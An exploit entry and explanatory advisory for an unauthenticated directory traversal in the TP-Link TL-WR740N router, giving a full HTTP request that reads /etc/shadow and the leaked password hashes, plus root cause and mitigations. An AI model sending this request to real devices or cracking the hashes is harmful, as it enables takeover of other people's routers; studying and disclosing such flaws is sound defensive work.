TP-Link TL-WR740N - UnAuthenticated Directory Transversal
# Exploit Title: TP-Link TL-WR740N UnAuthenticated Directory Transversal
# Date: 25/9/2023
# Exploit Author: Syed Affan Ahmed (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N
---------------------------POC---------------------------
Request
-------
GET /help/../../../etc/shadow HTTP/1.1
Host: 192.168.0.1:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ipaddr=192.168.0.100; mLangage=Âée; exception=4
Connection: close
Response
--------
HTTP/1.1 200 OK
Server: Router Webserver
Connection: close
WWW-Authenticate: Basic realm="TP-LINK Wireless Lite N Router WR740N"
Content-Type: text/html
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<HTML>
<HEAD><TITLE>TL-WR740N</TITLE>
<META http-equiv=Pragma content=no-cache>
<META http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
<LINK href="/dynaform/css_help.css" rel=stylesheet type="text/css">
<SCRIPT language="javascript" type="text/javascript"><!--
if(window.parent == window){window.location.href="http://192.168.0.1";}
function Click(){ return false;}
document.oncontextmenu=Click;
function doPrev(){history.go(-1);}
//--></SCRIPT>
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7::: TP-Link TL-WR740N: Unauthenticated Directory Traversal Vulnerability Explained
Security researchers have recently uncovered a critical vulnerability in the TP-Link TL-WR740N router, specifically affecting firmware version 3.12.11 Build 110915 Rel.40896n. This flaw enables attackers to perform unauthenticated directory traversal—a technique that allows remote access to sensitive system files without requiring valid credentials.
Understanding Directory Traversal
Directory traversal, also known as path traversal or ../ attacks, exploits improper input validation in web applications. By manipulating file paths using sequences like ../../../, an attacker can navigate beyond the intended directory boundaries and access files outside the web root.
In the case of the TP-Link TL-WR740N, the web server’s handling of file requests lacks proper sanitization. This allows malicious users to bypass authentication mechanisms and directly retrieve system-level files such as /etc/shadow, which contains hashed passwords for user accounts on the device.
Exploit Details: Proof of Concept (PoC)
The following HTTP request demonstrates the vulnerability in action:
GET /help/../../../etc/shadow HTTP/1.1
Host: 192.168.0.1:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ipaddr=192.168.0.100; mLangage=Âée; exception=4
Connection: close
Explanation: The request targets the /help/ directory, but appends ../../../ to traverse up the filesystem hierarchy. The path resolves to /etc/shadow, a critical system file containing password hashes for all users on the device. Despite the absence of authentication, the server responds with a 200 OK status, revealing the file contents.
Response Analysis
The server’s response includes the following content:
root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::
Analysis: This output confirms that the /etc/shadow file was successfully accessed. The root and Admin users have password hashes (indicated by the $1$ prefix, which denotes MD5 hashing). These hashes can be cracked using tools like John the Ripper or hashcat, potentially leading to full administrative access.
Impact and Risks
- Remote Access Without Authentication: The vulnerability allows attackers to access sensitive files without logging in, undermining the router’s security model.
- Privilege Escalation: With access to password hashes, attackers can brute-force or crack credentials and gain administrative control.
- Configuration Exposure: Other files like
/etc/passwd,/etc/config, or/etc/firewallmay also be accessible via similar paths. - Network Compromise: Once a router is compromised, attackers can redirect traffic, install malware, or conduct man-in-the-middle attacks.
Root Cause and Technical Insights
The vulnerability stems from a failure to implement proper path validation in the web server’s file access logic. The router’s web interface allows arbitrary file requests through the /help/ endpoint, which does not sanitize or restrict traversal sequences.
Key technical weaknesses include:
- Missing input filtering for
..and..sequences. - Failure to restrict access to system directories like
/etc. - Improper handling of relative paths in file requests.
These issues are classic examples of insecure file handling and fall under the OWASP Top 10 category: Path Traversal (A01:2021).
Recommendations and Mitigation
For users and administrators, immediate action is required:
- Update Firmware: Upgrade to the latest available firmware version from TP-Link’s official website. This vulnerability is likely patched in newer releases.
- Disable Remote Management: Ensure the router’s remote web management is disabled. Access should be limited to local network only.
- Change Default Credentials: Always change the default admin password and use strong, unique credentials.
- Network Segmentation: Isolate IoT devices like routers on a separate VLAN to limit lateral movement in case of compromise.
- Monitor Logs: Enable logging and monitor for unusual file access patterns, especially requests to
/etcor/vardirectories.
Vendor Responsibility and Security Best Practices
TP-Link, as a manufacturer, must prioritize security in firmware development. This incident highlights the importance of:
- Implementing strict input validation.
- Using secure file access functions (e.g.,
realpath()orcanonicalize()). - Enforcing role-based access control (RBAC) for web interfaces.
- Conducting regular penetration testing and vulnerability assessments.
Manufacturers should also provide timely security patches and maintain a public vulnerability disclosure policy.
Conclusion
The TP-Link TL-WR740N unauthenticated directory traversal vulnerability is a stark reminder of how seemingly minor flaws in web server logic can lead to severe security breaches. While the router is a consumer-grade device, its exposure to such attacks underscores the need for robust security practices across all network infrastructure.
As cybersecurity professionals, we must remain vigilant. Even devices labeled as “simple” or “low-risk” can become entry points for larger attacks if not properly secured.